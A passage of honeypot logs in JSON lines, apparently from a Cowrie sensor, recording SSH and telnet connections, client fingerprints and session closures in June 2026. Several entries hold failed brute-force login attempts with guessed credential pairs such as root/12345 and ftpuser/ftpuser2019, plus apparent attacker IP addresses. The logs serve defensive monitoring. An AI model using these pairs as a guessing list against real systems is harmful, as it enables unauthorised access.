\\x15\\xa4q\\xff\\x06\\x030Q(V\\x991^)\\x1dL\\xbe\\xbb\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xea*P\\xe2e2D\\xedl\\xd1Aq\\x89)X%\\xb2\\xa0\\xb8\\xfelc\\x176\\xda\\x8ct\\xaf=\\xc30\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.415287Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.625973Z","src_ip":"45.153.34.195","session":"0bbfb6f7d8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.753874Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.951316Z","src_ip":"91.92.40.36","session":"ba70e2a8df9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.956720Z","src_ip":"91.92.40.36","session":"ba70e2a8df9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e86a6fc4dc3","protocol":"telnet","message":"New connection: 94.23.66.112:60066 (10.17.0.5:23) [session: 0e86a6fc4dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:54.224703Z"}
{"eventid":"cowrie.session.closed","duration":0.08166694641113281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:54.306241Z","src_ip":"94.23.66.112","session":"0e86a6fc4dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41252,"dst_ip":"10.17.0.5","dst_port":22,"session":"258d6482d4a1","protocol":"ssh","message":"New connection: 45.153.34.195:41252 (10.17.0.5:22) [session: 258d6482d4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:55.021336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:55.053005Z","src_ip":"45.153.34.195","session":"258d6482d4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:55.129980Z","src_ip":"45.153.34.195","session":"258d6482d4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tony","password":"tony","message":"login attempt [tony/tony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:55.470908Z","src_ip":"45.153.34.195","session":"258d6482d4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15120,"dst_ip":"159.203.135.109","dst_port":22,"session":"136dce4153bc","protocol":"ssh","message":"New connection: 91.92.40.36:15120 (159.203.135.109:22) [session: 136dce4153bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:55.987027Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:56.556896Z","src_ip":"45.153.34.195","session":"258d6482d4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dasco","password":"dasco","message":"login attempt [dasco/dasco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:57.318332Z","src_ip":"91.92.40.36","session":"52cedf64434e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:57.770874Z","src_ip":"91.92.40.36","session":"85f6f58bb6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41262,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a6a91550cad","protocol":"ssh","message":"New connection: 45.153.34.195:41262 (10.17.0.5:22) [session: 5a6a91550cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.014620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.024910Z","src_ip":"45.153.34.195","session":"5a6a91550cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.115025Z","src_ip":"45.153.34.195","session":"5a6a91550cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.422626Z","src_ip":"45.153.34.195","session":"5a6a91550cad","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.901025Z","src_ip":"91.92.40.36","session":"136dce4153bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.905385Z","src_ip":"91.92.40.36","session":"136dce4153bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"57.4","message":"Connection lost after 57.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:58.924232Z","src_ip":"91.92.40.36","session":"7a852c12302b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:59.507891Z","src_ip":"45.153.34.195","session":"5a6a91550cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15142,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cc7acb22ae2","protocol":"ssh","message":"New connection: 91.92.40.36:15142 (159.203.135.109:22) [session: 6cc7acb22ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:00.095426Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2019","message":"login attempt [ftpuser/ftpuser2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:00.323273Z","src_ip":"91.92.40.36","session":"62df8429b3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":60196,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b3195c8c1d","protocol":"ssh","message":"New connection: 201.17.146.173:60196 (159.203.135.109:22) [session: d3b3195c8c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:00.842595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:00.849555Z","src_ip":"201.17.146.173","session":"d3b3195c8c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41268,"dst_ip":"10.17.0.5","dst_port":22,"session":"d949208aad69","protocol":"ssh","message":"New connection: 45.153.34.195:41268 (10.17.0.5:22) [session: d949208aad69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.113963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.119305Z","src_ip":"45.153.34.195","session":"d949208aad69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.172090Z","src_ip":"201.17.146.173","session":"d3b3195c8c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.205543Z","src_ip":"45.153.34.195","session":"d949208aad69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.265462Z","src_ip":"91.92.40.36","session":"52cedf64434e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.457119Z","src_ip":"45.153.34.195","session":"d949208aad69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123321","message":"login attempt [deploy/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:01.844215Z","src_ip":"201.17.146.173","session":"d3b3195c8c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:02.573376Z","src_ip":"45.153.34.195","session":"d949208aad69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:02.986404Z","src_ip":"201.17.146.173","session":"d3b3195c8c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"5807860fd1c3","protocol":"ssh","message":"New connection: 45.153.34.195:54544 (10.17.0.5:22) [session: 5807860fd1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:03.863696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:03.868571Z","src_ip":"45.153.34.195","session":"5807860fd1c3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:03.901142Z","src_ip":"91.92.40.36","session":"6cc7acb22ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:03.904934Z","src_ip":"91.92.40.36","session":"6cc7acb22ae2","protocol":"ssh"}
